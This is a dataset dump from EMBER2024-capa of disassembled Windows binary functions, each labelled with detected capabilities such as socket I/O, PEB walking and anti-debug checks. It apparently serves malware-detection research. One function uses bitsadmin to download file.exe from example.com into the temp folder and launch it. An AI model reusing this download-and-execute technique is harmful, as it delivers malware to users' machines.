joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008c2e0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x14008c404
cmp r8d, 0xff
jne 0x14008c341
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14008c32b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xb0c90]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.140068cf0
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.140068cf0
cmp r8d, 0xfb
jne 0x14008c353
lea r9, str.WILL
jmp 0x14008c391
cmp r8d, 0xfc
jne 0x14008c365
lea r9, str.WONT
jmp 0x14008c391
cmp r8d, 0xfd
jne 0x14008c377
lea r9, [0x1400b16b4]
jmp 0x14008c391
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14008c3ed
cmp r10d, 0x27
jg 0x14008c3c4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xb12b0]
test r8, r8
jne 0x14008c3d4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.140068cf0
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14008c3ab
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.140068cf0
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.140068cf0
add rsp, 0x38
ret

Function at 0x14008c750
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14008c7af
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140068b70
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.14008c2e0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14008c960
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14008cb08
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x14008c9c5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14008c9c5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14008c9c5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14008c9fc
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x14008ca52
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14008ca52
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14008ca52
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14008ca52
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14008ca52
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.14008c410
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x14008cab4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140068b70
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.14008c7e0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14008cb00
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140068b70
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x14008e270
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400c2080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x14008e305
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x14008e366
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.140068b70
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400a13d0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x14008e421
sub ecx, 1
je 0x14008e494
sub ecx, 1
je 0x14008e3d0
cmp ecx, 1
je 0x14008e3b3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400af120]
call fcn.140068b70
jmp 0x14008e494
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.14008dfa0
test eax, eax
je 0x14008e494
jmp 0x14008e33a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14008e494
sub rax, rsi
cmp rax, rbp
jae 0x14008e494
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140068cf0
jmp 0x14008e494
cmp r8d, 4
jle 0x14008e494
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x14008e494
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140068a90
mov esi, eax
test eax, eax
je 0x14008e473
mov edx, 5
mov rcx, rbx
call fcn.14008ef60
mov eax, esi
jmp 0x14008e33a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140077390
mov rcx, r14
call fcn.140077670
test eax, eax
je 0x14008e338
mov edx, 5
mov rcx, rbx
call fcn.14008ef60
mov eax, Ordinal_45
jmp 0x14008e33a
Function at 0x1400a1230
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400a1272
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400a12b9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400a1312
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400a12d0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400a1353
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400b488a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400b488b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400a1320
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400a21e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400a222e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400a222e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400a222e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400a222e
cmp dword [rcx + 0x84], 0xe
jbe 0x1400a222e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400a2230
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Check if file exists
Execute command
Get file attributes

Disassembly:
sub rsp, 0x28
lea rcx, str.bitsadmin__transfer_Explorers__download__priority_FOREGROUND_example.com_file.exe__temp__file.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._temp__file.exe
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000103b
lea rcx, str.bitsadmin__transfer_Execute__download__priority_FOREGROUND__temp__file.exe__temp__file.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000193c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001986
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001986
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001986
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001986
cmp dword [rcx + 0x84], 0xe
jbe 0x140001986
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001988
xor al, al
add rsp, 0x28
ret
Function at 0x1000118b4
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov r12, rcx
mov edi, edx
mov rcx, qword [rax + 0x60]
xor edx, edx
mov ebx, r8d
mov rcx, qword [rcx + 0x30]
lea r8d, [rdx + 8]
mov r13, r9
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rsi, rax
test rax, rax
jne 0x100011906
mov ebx, 0xc000009a
jmp 0x1000119a9
lea r8, [rsp + 0x20]
mov edx, ebx
mov ecx, edi
call fcn.100012678
test eax, eax
js 0x10001195c
mov rbx, qword [rsp + 0x20]
cmp qword [rbx + 0x28], 0
je 0x10001195c
xor edi, edi
cmp dword [rbx + 0x30], edi
jbe 0x10001196f
xor ebp, ebp
mov rdx, qword [rbx + 0x28]
cmp qword [rdx + rbp], 0
je 0x100011949
mov rdx, qword [rdx + rbp]
mov rcx, r12
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
je 0x100011956
inc edi
add rbp, 8
cmp edi, dword [rbx + 0x30]
jae 0x10001196f
jmp 0x10001192d
mov eax, edi
xor ebx, ebx
jmp 0x100011997
lea rdx, [rsp + 0x28]
mov rcx, r12
call fcn.100018bdc
mov ebx, eax
test eax, eax
jns 0x100011992
mov rax, qword gs:[0x30]
mov r8, rsi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov ebx, 0xc000000d
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x1000119a9
mov rax, qword [rsp + 0x28]
mov qword [rsi], rax
mov rax, qword [rsp + 0x70]
mov qword [r13], rsi
mov dword [rax], 8
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r13
pop r12
pop rdi
ret
Function at 0x1000119cc
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov rdi, rcx
mov rbp, r8
mov rcx, qword [rax + 0x60]
mov r12, rdx
xor ebx, ebx
mov rcx, qword [rcx + 0x30]
lea r8d, [rbx + 8]
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rsi, rax
cmp rax, rbx
jne 0x100011a1f
mov ebx, 0xc000009a
jmp 0x100011b00
lea rdx, [0x100001b30]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__wcsicmp]
cmp eax, ebx
je 0x100011af2
lea rdx, [0x100001b40]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__wcsicmp]
cmp eax, ebx
je 0x100011af2
lea rdx, [0x100001b48]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__wcsicmp]
cmp eax, ebx
je 0x100011af2
lea rdx, [0x100001b50]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__wcsicmp]
cmp eax, ebx
je 0x100011af2
lea rdx, [0x100001b58]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__wcsicmp]
cmp eax, ebx
je 0x100011aee
lea rdx, [0x100001b64]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__wcsicmp]
cmp eax, ebx
je 0x100011aee
lea rdx, [0x100001b70]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__wcsicmp]
cmp eax, ebx
je 0x100011aee
lea rdx, [0x100001b78]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__wcsicmp]
cmp eax, ebx
je 0x100011aee
mov rax, qword gs:[0x30]
mov r8, rsi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov ebx, 0xc000000d
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x100011b00
mov byte [rsi], bl
jmp 0x100011af5
mov byte [rsi], 1
mov qword [r12], rsi
mov dword [rbp], 2
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop r12
ret
Function at 0x10001365c
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov eax, dword [rdx]
mov r12, rcx
mov rcx, qword gs:[0x30]
mov rcx, qword [rcx + 0x60]
mov r15, r8
lea r8, [rax + rax*2]
mov rcx, qword [rcx + 0x30]
mov rdi, rdx
shl r8, 3
xor edx, edx
mov r14d, r9d
xor ebx, ebx
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r13, rax
cmp rax, rbx
jne 0x1000136bb
mov ebx, 0xc000009a
jmp 0x100013805
mov esi, ebx
cmp byte [rsp + 0x70], bl
je 0x100013727
cmp dword [rdi], ebx
jbe 0x100013727
mov r11d, dword [rdi]
mov rcx, r12
mov r10, rax
mov r9, r12
mov r8, qword [r9]
lea rdx, [0x100007eb0]
cmp r8, qword [rdx]
jne 0x1000136f0
mov r8, qword [r9 + 8]
cmp r8, qword [rdx + 8]
jne 0x1000136f0
mov eax, ebx
jmp 0x1000136f5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x100013719
mov rax, qword [rcx]
inc esi
mov qword [r10], rax
mov rax, qword [rcx + 8]
add r10, 0x18
mov qword [r10 - 0x10], rax
mov rax, qword [rcx + 0x10]
mov qword [r10 - 8], rax
mov qword [rcx + 0x10], rbx
add r9, 0x18
add rcx, 0x18
sub r11, 1
jne 0x1000136d3
mov r8d, ebx
movsxd r11, esi
cmp r14d, ebx
jbe 0x1000137bd
mov r10d, ebx
cmp dword [rdi], ebx
jbe 0x1000137b1
lea rax, [r11 + r11*2]
lea rdx, [r12 + 0x10]
lea rbp, [r13 + rax*8]
cmp qword [rdx], rbx
je 0x1000137a5
mov eax, r10d
lea rcx, [rax + rax*2]
mov eax, r8d
add rax, rax
lea r9, [r12 + rcx*8]
mov rcx, qword [r15 + rax*8]
cmp rcx, qword [r9]
jne 0x100013779
mov rcx, qword [r15 + rax*8 + 8]
cmp rcx, qword [r9 + 8]
jne 0x100013779
mov eax, ebx
jmp 0x10001377e
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x1000137a5
mov rax, qword [rdx - 0x10]
inc esi
inc r11
mov qword [rbp], rax
mov rax, qword [rdx - 8]
add rbp, 0x18
mov qword [rbp - 0x10], rax
mov rax, qword [rdx]
mov qword [rbp - 8], rax
mov qword [rdx], rbx
inc r10d
add rdx, 0x18
cmp r10d, dword [rdi]
jb 0x10001374b
inc r8d
cmp r8d, r14d
jb 0x100013736
mov eax, dword [rdi]
xor edx, edx
mov rcx, r12
lea r8, [rax + rax*2]
shl r8, 3
call sub.msvcrt.dll_memset
mov r11d, esi
mov rdx, r13
lea r8, [r11 + r11*2]
mov rcx, r12
shl r8, 3
call sub.msvcrt.dll_memcpy
mov rcx, qword gs:[0x30]
mov r8, r13
mov rcx, qword [rcx + 0x60]
xor edx, edx
mov dword [rdi], esi
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1000185f0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x100032100]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbp, rdx
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rsi, rcx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
cmp eax, ebx
jne 0x100018640
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x100018645
mov ebx, 0xc0000001
jmp 0x1000186a1
lea rsi, [rsp + 0x20]
mov rdx, qword gs:[0x30]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx + rcx]
mov rcx, qword [rdx + 0x60]
xor edx, edx
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r11, rax
mov qword [rbp], rax
cmp rax, rbx
jne 0x100018684
mov ebx, 0xc000009a
jmp 0x1000186a1
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasw ax, word [rdi]
mov r8, rsi
not rcx
mov rdx, rcx
mov rcx, r11
call fcn.100029b90
mov eax, ebx
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1000296e0
mov rbx, qword [rsp + 0x270]
add rsp, 0x240
pop rdi
pop rsi
pop rbp
ret

Function at 0x1000186cc
Capabilities:
Check for peb beingdebugged flag
Get disk information

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x100032100]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov eax, dword [0x100007e34]
mov rbx, rcx
lea rcx, [rsp + 0x20]
mov dword [rcx], eax
movzx eax, word [0x100007e38]
mov rsi, rdx
mov word [rcx + 4], ax
mov eax, 0x43
mov edi, 0xc000000e
lea ebp, [rax - 0x42]
mov word [rsp + 0x20], ax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x100018749
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
je 0x10001875e
movzx eax, word [rsp + 0x20]
add ax, bp
mov word [rsp + 0x20], ax
cmp ax, 0x5a
ja 0x1000187cc
jmp 0x10001871d
mov rdx, qword gs:[0x30]
xor eax, eax
or rbx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
mov rcx, rbx
repne scasw ax, word [rdi]
not rcx
sub rcx, rbp
lea r8, [rcx + rcx + 2]
mov rcx, qword [rdx + 0x60]
xor edx, edx
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r11, rax
mov qword [rsi], rax
test rax, rax
jne 0x1000187a5
mov edi, 0xc000009a
jmp 0x1000187cc
xor eax, eax
lea rdi, [rsp + 0x20]
mov rcx, rbx
repne scasw ax, word [rdi]
lea r8, [rsp + 0x20]
not rcx
sub rcx, rbp
lea rdx, [rbp + rcx]
mov rcx, r11
call fcn.100029b90
xor edi, edi
mov eax, edi
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1000296e0
mov rbx, qword [rsp + 0xf0]
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1000191d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x10001932f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov edi, eax
test eax, eax
jne 0x10001921a
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10001932f
btr edi, 0xf
cmp edi, 2
jne 0x10001926e
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
test eax, eax
jne 0x100019240
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 6
je 0x10001926e
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
and qword [rsp + 0x20], rax
repne scasw ax, word [rdi]
lea r9, [rsp + 0x68]
not rcx
mov rdx, rsi
lea r8, [rcx - 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
jmp 0x10001932f
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov ecx, eax
or r9d, 0xffffffff
mov r8, rsi
xor edx, edx
mov r12d, eax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebp, eax
test eax, eax
je 0x10001932f
mov rcx, qword gs:[0x30]
mov r8, rbp
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x10001932f
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
or r9d, 0xffffffff
mov r8, rsi
xor edx, edx
mov ecx, r12d
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x100019313
and qword [rsp + 0x20], 0
lea r8d, [rax - 1]
lea r9, [rsp + 0x68]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x10001a130
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x20
mov rbx, rcx
xor r12d, r12d
xor ecx, ecx
mov qword [rsp + 0x40], r12
mov rbp, rdx
call fcn.10001a874
mov rax, qword gs:[0x30]
movzx edi, word [rbx]
xor edx, edx
mov rcx, qword [rax + 0x60]
add edi, 0xe
mov rcx, qword [rcx + 0x30]
mov r8d, edi
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rsi, rax
cmp rax, r12
jne 0x10001a18b
mov ebx, 0xc0000017
jmp 0x10001a21b
mov dword [rax], 1
mov dword [rax + 4], edi
mov dword [rax + 8], 3
movzx r8d, word [rbx]
mov rdx, qword [rbx + 8]
lea rcx, [rax + 0xc]
call sub.msvcrt.dll_memcpy
movzx r11d, word [rbx]
lea r8, [rsp + 0x40]
shr r11, 1
xor edx, edx
mov rcx, rsi
mov word [rsi + r11*2 + 0xc], r12w
call fcn.10001a3f4
cmp eax, r12d
mov ebx, eax
jl 0x10001a1ff
mov rdi, qword [rsp + 0x40]
lea r8, [0x10002e7f0]
lea rdx, [0x10002eae0]
mov rcx, rdi
call fcn.1000214ec
xor edx, edx
mov rcx, rdi
call fcn.10001ad84
cmp eax, r12d
mov ebx, eax
jl 0x10001a1ff
mov qword [rbp], rdi
mov rax, qword gs:[0x30]
mov r8, rsi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rbp, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop r12
pop rdi
pop rsi
ret

Function at 0x10001b6d4
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x100032100]
xor rax, rsp
mov qword [rsp + 0x58], rax
sub edx, 1
mov rdi, r8
je 0x10001b76b
cmp edx, 1
je 0x10001b704
mov ebx, 0xc000000d
jmp 0x10001b791
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x30]
lea rdx, [0x100007eb0]
call fcn.10001b3ac
mov ebx, eax
test eax, eax
js 0x10001b75a
mov rcx, qword [rsp + 0x30]
